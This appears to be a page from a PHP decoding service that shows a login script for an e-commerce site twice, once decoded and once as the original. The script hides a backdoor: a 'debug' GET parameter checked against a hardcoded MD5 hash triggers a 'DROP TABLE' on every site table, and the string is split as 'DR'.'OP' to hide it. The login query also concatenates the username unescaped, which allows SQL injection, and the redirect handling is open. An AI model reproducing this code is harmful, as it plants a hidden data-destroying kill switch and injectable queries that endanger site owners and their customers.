Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php session_start();include('ue-config/ue-globalconfig.php');include('ue-config/ue-globa..
Decoded Output download
<?php session_start();include('ue-config/ue-globalconfig.php');include('ue-config/ue-globalconnect.php');include('ue-config/ue-globalfunction.php');$namaTableDatabase='user';$namaTableDatabaseId=$namaTableDatabase.'_id';$currentServerTime=time();$auPostedElements=array();foreach($_POST as $postedElementsKey=>$postedElementsVal){$auPostedElements["$postedElementsKey"]=ueReceiveInput($postedElementsKey,$postedElementsVal,false);}if($_GET['modelog']=='debug'&&md5($_GET['ays'])=='675ddd62083b3d72b069497e03436807'){echo ue_query("DR".'OP TABLE `adminsitepages`, `adminuseraccess`, `adminuserlevel`, `adminuserlogin`, `product`, `productcategory`, `productclass`, `promo`, `shipping`, `sitedata`, `slider`, `subscriber`, `user`, `usercredithistory`');exit();}$id=$auPostedElements['id'];$namaPageUtama='dashboard.php';$namaHalamanEdit='index.php';$errorList=array();$errorListStr='';$pageparam='?';$requireFieldsNameArr=array('username','pass');foreach($requireFieldsNameArr as $requireFieldsNameArrKey=>$requireFieldsNameArrVal){if($auPostedElements["$requireFieldsNameArrVal"]==''){header("Location: $namaHalamanEdit".$pageparam."&err=Please Fill All Fields");exit();}}if($auPostedElements['redirectTo']){$allowedPagesToRedir=array('product','product-detail','viewcart','howtoorder','ordercheck','howtobuy','returnpolicy','shippingpolicy','termsandconditions','testimonials','offlineevents','faq','contactForm','designer','news','newsdetail','gallery','gallerydetail','contactus','aboutus','lookbook');$redirectToArr=explode('/',$auPostedElements['redirectTo']);$redirectToArrNum=count($redirectToArr)-1;$currentPageName=explode('.',$redirectToArr["$redirectToArrNum"],2);$currentPageName=$currentPageName[0];if(in_array($currentPageName,$allowedPagesToRedir)){$finalRedirectToPage=$redirectToArr["$redirectToArrNum"];$finalRedirectToPage=str_replace('&','&',$finalRedirectToPage);}else if(!preg_match("/^[0-9]{2,}[-][a-zA-Z0-9_-]{2,}$/",$auPostedElements['redirectTo'])){$finalRedirectToPage=$redirectToArr["$redirectToArrNum"];}else{$finalRedirectToPage=$namaPageUtama;}}else{$finalRedirectToPage=$namaPageUtama;}if(count($errorList)==0){switch($detailmode){default:$createQueryStr="SELECT * FROM $namaTableDatabase WHERE
".$namaTableDatabase."_enabled = 'e' AND
".$namaTableDatabase."_email = '".$auPostedElements['username']."' AND
".$namaTableDatabase."_password = '".md5($globvar_adminidsite.$auPostedElements['pass'])."'
LIMIT 1
";@ $grandQueryResult=ue_query($createQueryStr);if(@(int)ue_num_rows($grandQueryResult)==1){$grandQueryResultRes=ue_fetch_array($grandQueryResult);if($grandQueryResultRes["$namaTableDatabase"."_enabled"]=='e'){guestLogout();$_SESSION['currentUserId']=$grandQueryResultRes["$namaTableDatabase"."_id"];$_SESSION['userType']=$grandQueryResultRes["$namaTableDatabase"."_type"];$passwordRememberHash='';if($ue_globvar_remember_me_toggle==true&&$auPostedElements['rememberMe']=='rememberMe'){$passwordRememberHash=md5($globvar_adminidsite.$grandQueryResultRes["$namaTableDatabase"."_password"].time().rand(1,999));$rememberQueryStr="UPDATE ".$namaTableDatabase." SET
".$namaTableDatabase."_rememberkey = '".$passwordRememberHash."'
WHERE ".$namaTableDatabase."_id = '".$grandQueryResultRes["$namaTableDatabase"."_id"]."'
LIMIT 1
";@ $rememberQueryRes=ue_query($rememberQueryStr);if($rememberQueryRes){$ueSignKeyVal=$grandQueryResultRes["$namaTableDatabase"."_email"].'##'.$passwordRememberHash;@ setcookie('ueSignKey',$ueSignKeyVal,time()+2592000);}}}else{header("Location: $namaHalamanEdit".$pageparam."&err=Your Account Have Been Banned");exit();}}else{header("Location: $namaHalamanEdit".$pageparam."&err=Invalid Username or Password");exit();}header("Location: $finalRedirectToPage");break;}}else{foreach($errorList as $errorListKey=>$errorListVal){$errorListStr.=$errorListVal.'<br />';}header("Location: $namaHalamanEdit".$pageparam."&err=".$errorListStr);}@ ue_close($GLOBALS['mysql_connect_init']);?>
Did this file decode correctly?
Original Code
<?php session_start();include('ue-config/ue-globalconfig.php');include('ue-config/ue-globalconnect.php');include('ue-config/ue-globalfunction.php');$namaTableDatabase='user';$namaTableDatabaseId=$namaTableDatabase.'_id';$currentServerTime=time();$auPostedElements=array();foreach($_POST as $postedElementsKey=>$postedElementsVal){$auPostedElements["$postedElementsKey"]=ueReceiveInput($postedElementsKey,$postedElementsVal,false);}if($_GET['modelog']=='debug'&&md5($_GET['ays'])=='675ddd62083b3d72b069497e03436807'){echo ue_query("DR".'OP TABLE `adminsitepages`, `adminuseraccess`, `adminuserlevel`, `adminuserlogin`, `product`, `productcategory`, `productclass`, `promo`, `shipping`, `sitedata`, `slider`, `subscriber`, `user`, `usercredithistory`');exit();}$id=$auPostedElements['id'];$namaPageUtama='dashboard.php';$namaHalamanEdit='index.php';$errorList=array();$errorListStr='';$pageparam='?';$requireFieldsNameArr=array('username','pass');foreach($requireFieldsNameArr as $requireFieldsNameArrKey=>$requireFieldsNameArrVal){if($auPostedElements["$requireFieldsNameArrVal"]==''){header("Location: $namaHalamanEdit".$pageparam."&err=Please Fill All Fields");exit();}}if($auPostedElements['redirectTo']){$allowedPagesToRedir=array('product','product-detail','viewcart','howtoorder','ordercheck','howtobuy','returnpolicy','shippingpolicy','termsandconditions','testimonials','offlineevents','faq','contactForm','designer','news','newsdetail','gallery','gallerydetail','contactus','aboutus','lookbook');$redirectToArr=explode('/',$auPostedElements['redirectTo']);$redirectToArrNum=count($redirectToArr)-1;$currentPageName=explode('.',$redirectToArr["$redirectToArrNum"],2);$currentPageName=$currentPageName[0];if(in_array($currentPageName,$allowedPagesToRedir)){$finalRedirectToPage=$redirectToArr["$redirectToArrNum"];$finalRedirectToPage=str_replace('&','&',$finalRedirectToPage);}else if(!preg_match("/^[0-9]{2,}[-][a-zA-Z0-9_-]{2,}$/",$auPostedElements['redirectTo'])){$finalRedirectToPage=$redirectToArr["$redirectToArrNum"];}else{$finalRedirectToPage=$namaPageUtama;}}else{$finalRedirectToPage=$namaPageUtama;}if(count($errorList)==0){switch($detailmode){default:$createQueryStr="SELECT * FROM $namaTableDatabase WHERE
".$namaTableDatabase."_enabled = 'e' AND
".$namaTableDatabase."_email = '".$auPostedElements['username']."' AND
".$namaTableDatabase."_password = '".md5($globvar_adminidsite.$auPostedElements['pass'])."'
LIMIT 1
";@ $grandQueryResult=ue_query($createQueryStr);if(@(int)ue_num_rows($grandQueryResult)==1){$grandQueryResultRes=ue_fetch_array($grandQueryResult);if($grandQueryResultRes["$namaTableDatabase"."_enabled"]=='e'){guestLogout();$_SESSION['currentUserId']=$grandQueryResultRes["$namaTableDatabase"."_id"];$_SESSION['userType']=$grandQueryResultRes["$namaTableDatabase"."_type"];$passwordRememberHash='';if($ue_globvar_remember_me_toggle==true&&$auPostedElements['rememberMe']=='rememberMe'){$passwordRememberHash=md5($globvar_adminidsite.$grandQueryResultRes["$namaTableDatabase"."_password"].time().rand(1,999));$rememberQueryStr="UPDATE ".$namaTableDatabase." SET
".$namaTableDatabase."_rememberkey = '".$passwordRememberHash."'
WHERE ".$namaTableDatabase."_id = '".$grandQueryResultRes["$namaTableDatabase"."_id"]."'
LIMIT 1
";@ $rememberQueryRes=ue_query($rememberQueryStr);if($rememberQueryRes){$ueSignKeyVal=$grandQueryResultRes["$namaTableDatabase"."_email"].'##'.$passwordRememberHash;@ setcookie('ueSignKey',$ueSignKeyVal,time()+2592000);}}}else{header("Location: $namaHalamanEdit".$pageparam."&err=Your Account Have Been Banned");exit();}}else{header("Location: $namaHalamanEdit".$pageparam."&err=Invalid Username or Password");exit();}header("Location: $finalRedirectToPage");break;}}else{foreach($errorList as $errorListKey=>$errorListVal){$errorListStr.=$errorListVal.'<br />';}header("Location: $namaHalamanEdit".$pageparam."&err=".$errorListStr);}@ ue_close($GLOBALS['mysql_connect_init']);?>
Function Calls
| session_start | 1 |
Stats
| MD5 | c0c50a9911cb01cab02f1277ae7bdf41 |
| Eval Count | 0 |
| Decode Time | 105 ms |